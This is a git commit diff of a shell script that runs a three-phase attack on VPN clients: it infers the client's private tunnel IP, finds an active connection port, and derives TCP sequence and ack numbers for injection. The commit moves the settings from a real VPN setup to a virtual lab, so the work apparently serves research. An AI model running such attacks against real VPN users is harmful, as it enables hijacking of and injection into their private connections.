added client side attack env to virtual lab and server side tcp
This commit is contained in:
1 parent
da46460491
commit
0a4e3bb714
56 files changed
+1078
-28590
No files matched your search
@@ -1,16 +1,17 @@
|
||||
REMOTE_ADDR=$1
|
||||
REMOTE_PORT=80
|
||||
REMOTE_ADDR=192.168.3.2 # ip of web-server to check for connection
|
||||
REMOTE_PORT=8080 # web server port
|
||||
|
||||
VICTIM_WLAN_ADDR=192.168.12.58 # vpn client public ip
|
||||
WLAN_GATEWAY=192.168.12.1 # address of local network gateway
|
||||
VICTIM_PRIV_NET=10.7.2.0 # nord uses 10.7.2.x typically
|
||||
VICTIM_WLAN_ADDR=172.16.4.2 # vpn client wlan ip
|
||||
WLAN_GATEWAY=172.16.4.254 # address of local network gateway
|
||||
VICTIM_PRIV_NET=10.8.0.0
|
||||
PRIV_NETMASK=255.255.255.0
|
||||
|
||||
REQUEST_SIZE=529
|
||||
DEST_MAC=a4:34:d9:53:92:c4
|
||||
INTERFACE=wlp1s0
|
||||
DEST_MAC=08:00:27:e8:bf:1f
|
||||
INTERFACE=enp0s9
|
||||
|
||||
printf "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 1 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
|
||||
|
||||
echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 1 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
|
||||
|
||||
echo `date`
|
||||
echo "attempting to infer client's private VPN address.."
|
||||
@@ -18,20 +19,24 @@ echo "attempting to infer client's private VPN address.."
|
||||
cd ../first_phase
|
||||
|
||||
|
||||
PRIV_IP="$(./send_p1 $DEST_MAC $VICTIM_PRIV_NET $PRIV_NETMASK $WLAN_GATEWAY $INTERFACE)"
|
||||
PRIV_IP="$(sudo ./send_p1 $DEST_MAC $VICTIM_PRIV_NET $PRIV_NETMASK $WLAN_GATEWAY $INTERFACE)"
|
||||
echo "phase 1 client private IP: ${PRIV_IP}"
|
||||
|
||||
echo "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 2 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
|
||||
printf "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 2 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
|
||||
|
||||
echo `date`
|
||||
echo "determining if client is talking to ${REMOTE_ADDR} on any port.."
|
||||
cd ../sec_phase
|
||||
VPORT="$(./send_p2 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC)"
|
||||
|
||||
VPORT="$(sudo ./send_p2 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC $INTERFACE)"
|
||||
echo "phase 2 port result: ${VPORT}"
|
||||
|
||||
echo "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 3 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
|
||||
printf "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 3 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
|
||||
echo `date`
|
||||
echo "beginning phase 3 to infer sequence and ack numbers needed to inject.."
|
||||
cd ../third_phase
|
||||
./send_p3 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC $VPORT $REQUEST_SIZE
|
||||
|
||||
sudo ./send_p3 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC $VPORT $REQUEST_SIZE $INTERFACE
|
||||
|
||||
|
||||
echo `date`
|
||||
Reference in new issue
Block a user